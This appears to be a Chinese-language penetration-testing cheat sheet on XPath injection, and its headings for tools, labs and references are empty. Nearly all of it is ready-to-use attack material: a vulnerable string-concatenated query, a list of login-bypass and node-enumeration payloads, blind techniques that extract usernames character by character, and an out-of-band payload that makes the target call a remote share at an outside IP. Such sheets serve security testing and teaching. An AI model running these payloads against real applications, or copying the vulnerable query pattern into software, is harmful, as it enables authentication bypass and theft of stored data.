跳转至

XPATH 注入 (XPATH Injection)

XPath 注入是一种攻击技术,用于攻击那些根据用户提供的输入来构造 XPath(XML 路径语言)查询,从而查询或导航 XML 文档的应用程序。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

与 SQL 注入类似,你的目标是正确地截断查询:

string(//user[name/text()='" +漏洞变量1+ "' and password/text()='" +漏洞变量1+ "']/account/text())

可用载荷示例:

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c

盲注利用 (Blind Exploitation)

  1. 判断字符串长度

    and string-length(account)=长度数值_整数
    
  2. 使用 substring 访问特定字符,并通过 codepoints-to-string 函数验证其值

    substring(//user[userid=5]/username,2,1)=此处字符
    substring(//user[userid=5]/username,2,1)=codepoints-to-string(此处字符的整数码位)
    

带外利用 (Out Of Band Exploitation)

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/共享目录')

实验环境 (Labs)

参考资料 (References)